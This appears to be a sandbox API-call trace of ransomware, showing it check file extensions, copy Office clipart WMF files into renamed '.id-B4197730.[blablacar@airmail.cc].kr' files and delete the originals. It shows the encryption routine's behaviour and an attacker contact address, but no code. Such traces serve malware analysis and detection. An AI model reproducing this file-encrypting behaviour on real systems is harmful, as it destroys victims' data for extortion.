[0198.551] lstrlenW (lpString=".pdf") returned 4 [0198.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.551] lstrlenW (lpString=".xls") returned 4 [0198.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.551] lstrlenW (lpString=".xlsx") returned 5 [0198.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.551] lstrlenW (lpString=".ppt") returned 4 [0198.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.551] lstrlenW (lpString=".zip") returned 4 [0198.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.551] lstrlenW (lpString=".rar") returned 4 [0198.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.551] lstrlenW (lpString=".bz2") returned 4 [0198.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.551] lstrlenW (lpString=".7z") returned 3 [0198.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.552] lstrlenW (lpString=".dbf") returned 4 [0198.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.552] lstrlenW (lpString=".1cd") returned 4 [0198.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.552] lstrlenW (lpString=".jpg") returned 4 [0198.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.552] lstrlenW (lpString=".doc") returned 4 [0198.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.552] lstrlenW (lpString=".docx") returned 5 [0198.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.552] lstrlenW (lpString=".pdf") returned 4 [0198.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.552] lstrlenW (lpString=".xls") returned 4 [0198.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.552] lstrlenW (lpString=".xlsx") returned 5 [0198.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.552] lstrlenW (lpString=".ppt") returned 4 [0198.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.552] lstrlenW (lpString=".zip") returned 4 [0198.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.552] lstrlenW (lpString=".rar") returned 4 [0198.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.553] lstrlenW (lpString=".bz2") returned 4 [0198.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.553] lstrlenW (lpString=".7z") returned 3 [0198.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.553] lstrlenW (lpString=".dbf") returned 4 [0198.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.553] lstrlenW (lpString=".1cd") returned 4 [0198.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0198.553] lstrlenW (lpString=".jpg") returned 4 [0198.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.553] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.553] lstrlenW (lpString="IN00346_.WMF") returned 12 [0198.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.554] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=696) returned 1 [0198.554] CloseHandle (hObject=0x3f8) returned 1 [0198.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0198.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.555] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.555] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0198.556] GetLastError () returned 0x0 [0198.557] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2b8, lpOverlapped=0x0) returned 1 [0198.558] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2c0, lpOverlapped=0x0) returned 1 [0198.559] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.559] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0198.559] SetEndOfFile (hFile=0x534) returned 1 [0198.559] CloseHandle (hObject=0x534) returned 1 [0198.559] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.559] SetEndOfFile (hFile=0x3f8) returned 1 [0198.563] CloseHandle (hObject=0x3f8) returned 1 [0198.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0198.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.564] lstrlenW (lpString=".doc") returned 4 [0198.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.564] lstrlenW (lpString=".docx") returned 5 [0198.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.564] lstrlenW (lpString=".pdf") returned 4 [0198.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.565] lstrlenW (lpString=".xls") returned 4 [0198.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.565] lstrlenW (lpString=".xlsx") returned 5 [0198.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.565] lstrlenW (lpString=".ppt") returned 4 [0198.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.565] lstrlenW (lpString=".zip") returned 4 [0198.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.565] lstrlenW (lpString=".rar") returned 4 [0198.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.565] lstrlenW (lpString=".bz2") returned 4 [0198.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.565] lstrlenW (lpString=".7z") returned 3 [0198.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.566] lstrlenW (lpString=".dbf") returned 4 [0198.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.566] lstrlenW (lpString=".1cd") returned 4 [0198.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.566] lstrlenW (lpString=".jpg") returned 4 [0198.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.566] lstrlenW (lpString=".doc") returned 4 [0198.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.566] lstrlenW (lpString=".docx") returned 5 [0198.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.566] lstrlenW (lpString=".pdf") returned 4 [0198.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.566] lstrlenW (lpString=".xls") returned 4 [0198.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.566] lstrlenW (lpString=".xlsx") returned 5 [0198.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.566] lstrlenW (lpString=".ppt") returned 4 [0198.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.566] lstrlenW (lpString=".zip") returned 4 [0198.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.567] lstrlenW (lpString=".rar") returned 4 [0198.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.567] lstrlenW (lpString=".bz2") returned 4 [0198.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.567] lstrlenW (lpString=".7z") returned 3 [0198.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.567] lstrlenW (lpString=".dbf") returned 4 [0198.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.567] lstrlenW (lpString=".1cd") returned 4 [0198.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0198.567] lstrlenW (lpString=".jpg") returned 4 [0198.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.567] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.567] lstrlenW (lpString="IN00351_.WMF") returned 12 [0198.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.568] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1928) returned 1 [0198.568] CloseHandle (hObject=0x3f8) returned 1 [0198.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0198.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.569] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.569] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0198.570] GetLastError () returned 0x0 [0198.570] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x788, lpOverlapped=0x0) returned 1 [0199.001] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x790, lpOverlapped=0x0) returned 1 [0199.002] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.002] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0199.002] SetEndOfFile (hFile=0x534) returned 1 [0199.002] CloseHandle (hObject=0x534) returned 1 [0199.003] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.003] SetEndOfFile (hFile=0x3f8) returned 1 [0199.006] CloseHandle (hObject=0x3f8) returned 1 [0199.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0199.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.008] lstrlenW (lpString=".doc") returned 4 [0199.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.008] lstrlenW (lpString=".docx") returned 5 [0199.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0199.008] lstrlenW (lpString=".pdf") returned 4 [0199.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.008] lstrlenW (lpString=".xls") returned 4 [0199.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.008] lstrlenW (lpString=".xlsx") returned 5 [0199.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0199.008] lstrlenW (lpString=".ppt") returned 4 [0199.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.009] lstrlenW (lpString=".zip") returned 4 [0199.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.009] lstrlenW (lpString=".rar") returned 4 [0199.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString=".bz2") returned 4 [0199.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString=".7z") returned 3 [0199.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.009] lstrlenW (lpString=".dbf") returned 4 [0199.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.009] lstrlenW (lpString=".1cd") returned 4 [0199.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.009] lstrlenW (lpString=".jpg") returned 4 [0199.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.009] lstrlenW (lpString=".doc") returned 4 [0199.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString=".docx") returned 5 [0199.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0199.009] lstrlenW (lpString=".pdf") returned 4 [0199.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.009] lstrlenW (lpString=".xls") returned 4 [0199.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.009] lstrlenW (lpString=".xlsx") returned 5 [0199.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0199.010] lstrlenW (lpString=".ppt") returned 4 [0199.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.010] lstrlenW (lpString=".zip") returned 4 [0199.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.010] lstrlenW (lpString=".rar") returned 4 [0199.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.010] lstrlenW (lpString=".bz2") returned 4 [0199.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.010] lstrlenW (lpString=".7z") returned 3 [0199.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.010] lstrlenW (lpString=".dbf") returned 4 [0199.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.010] lstrlenW (lpString=".1cd") returned 4 [0199.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0199.010] lstrlenW (lpString=".jpg") returned 4 [0199.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.010] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.010] lstrlenW (lpString="J0086426.WMF") returned 12 [0199.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0199.025] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=21782) returned 1 [0199.025] CloseHandle (hObject=0x3f8) returned 1 [0199.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0199.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0199.027] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.027] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.028] GetLastError () returned 0x0 [0199.028] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5516, lpOverlapped=0x0) returned 1 [0199.030] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5520, lpOverlapped=0x0) returned 1 [0199.031] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.031] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0199.031] SetEndOfFile (hFile=0x534) returned 1 [0199.031] CloseHandle (hObject=0x534) returned 1 [0199.032] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.032] SetEndOfFile (hFile=0x3f8) returned 1 [0199.035] CloseHandle (hObject=0x3f8) returned 1 [0199.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0199.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.037] lstrlenW (lpString=".doc") returned 4 [0199.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.037] lstrlenW (lpString=".docx") returned 5 [0199.037] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.037] lstrlenW (lpString=".pdf") returned 4 [0199.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.037] lstrlenW (lpString=".xls") returned 4 [0199.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.037] lstrlenW (lpString=".xlsx") returned 5 [0199.037] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.037] lstrlenW (lpString=".ppt") returned 4 [0199.037] lstrcmpiW 